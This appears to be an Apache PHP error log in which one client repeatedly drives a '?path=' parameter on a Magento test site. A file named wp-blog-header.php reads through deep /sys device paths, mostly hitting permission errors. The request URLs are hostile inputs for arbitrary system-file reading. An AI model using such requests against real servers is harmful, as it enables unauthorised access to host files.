[Sat Mar 28 00:22:12.588529 2026] [php:warn] [pid 93746] [client 74.7.243.205:58650] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:8d/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:8d/physical_node
[Sat Mar 28 00:23:44.725113 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node
[Sat Mar 28 00:23:52.594100 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node
[Sat Mar 28 00:23:54.665217 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node
[Sat Mar 28 00:23:56.233437 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:23:57.268095 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:23:58.332719 2026] [php:notice] [pid 93746] [client 74.7.243.205:39402] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ef/power
[Sat Mar 28 00:24:05.675323 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:24:06.216342 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:24:10.416122 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:24:11.893612 2026] [php:warn] [pid 93746] [client 74.7.243.205:39402] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:24:16.228775 2026] [php:warn] [pid 89918] [client 74.7.243.205:44400] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:24:18.927872 2026] [php:warn] [pid 89918] [client 74.7.243.205:44400] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:c1/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:24:20.972131 2026] [php:warn] [pid 89918] [client 74.7.243.205:44400] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/devices/device:bd/physical_node
[Sat Mar 28 00:24:44.697192 2026] [php:warn] [pid 89918] [client 74.7.243.205:44400] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:0d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:0d
[Sat Mar 28 00:25:27.003309 2026] [php:notice] [pid 93716] [client 74.7.243.205:43148] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:a5/subsystem/devices/device:db/power
[Sat Mar 28 00:26:24.273982 2026] [php:warn] [pid 93758] [client 74.7.243.205:57322] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:26:24.829038 2026] [php:notice] [pid 93758] [client 74.7.243.205:57322] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:aa/power
[Sat Mar 28 00:26:25.841412 2026] [php:notice] [pid 93758] [client 74.7.243.205:57322] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:ae/power
[Sat Mar 28 00:26:32.150219 2026] [php:warn] [pid 93758] [client 74.7.243.205:57322] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:26:32.644310 2026] [php:warn] [pid 93758] [client 74.7.243.205:57322] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:26:35.338600 2026] [php:warn] [pid 93758] [client 74.7.243.205:57322] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5c/subsystem/devices/device:cd/physical_node
[Sat Mar 28 00:28:22.781054 2026] [php:notice] [pid 93735] [client 74.7.243.205:50258] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:8b/subsystem/devices/device:af/power
[Sat Mar 28 00:28:59.223431 2026] [php:notice] [pid 88870] [client 74.7.243.205:56770] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:2d/subsystem/devices/device:dc/power
[Sat Mar 28 00:29:26.509707 2026] [php:warn] [pid 88870] [client 74.7.243.205:56770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:a3/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:a3/subsystem/drivers/ac
[Sat Mar 28 00:30:43.094499 2026] [php:notice] [pid 88870] [client 74.7.243.205:59718] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:e0/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/power
[Sat Mar 28 00:31:28.923685 2026] [php:warn] [pid 88870] [client 74.7.243.205:59718] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:d1/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:d1/subsystem/devices/device:ac
[Sat Mar 28 00:32:14.486884 2026] [php:warn] [pid 93735] [client 74.7.243.205:44254] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:c1/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:c1/physical_node
[Sat Mar 28 00:33:05.809408 2026] [php:warn] [pid 93747] [client 74.7.243.205:54326] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:6b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:6b
[Sat Mar 28 00:34:38.084341 2026] [php:warn] [pid 104622] [client 74.7.243.205:33934] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:de/subsystem/devices/device:d2/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:de/subsystem/devices/device:d2
[Sat Mar 28 00:34:56.037486 2026] [php:warn] [pid 104622] [client 74.7.243.205:33934] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:3c/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:3c/subsystem/devices/device:da
[Sat Mar 28 00:36:38.013831 2026] [php:notice] [pid 104962] [client 74.7.243.205:34098] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:e7/subsystem/devices/device:db/power
[Sat Mar 28 00:36:39.590197 2026] [php:warn] [pid 104962] [client 74.7.243.205:34098] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:e7/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:e7/subsystem/devices/device:fc
[Sat Mar 28 00:37:13.610546 2026] [php:warn] [pid 105644] [client 74.7.243.205:44810] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:1d/subsystem/devices/device:ad/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:1d/subsystem/devices/device:ad/subsystem
[Sat Mar 28 00:37:14.127468 2026] [php:warn] [pid 105644] [client 74.7.243.205:44810] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:1d/subsystem/devices/device:ad/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:1d/subsystem/devices/device:ad/subsystem
[Sat Mar 28 00:37:33.801852 2026] [php:warn] [pid 105644] [client 74.7.243.205:44810] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:de/subsystem/devices/device:c6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:de/subsystem/devices/device:c6
[Sat Mar 28 00:39:35.855077 2026] [php:warn] [pid 107596] [client 74.7.243.205:60332] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:2f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:2f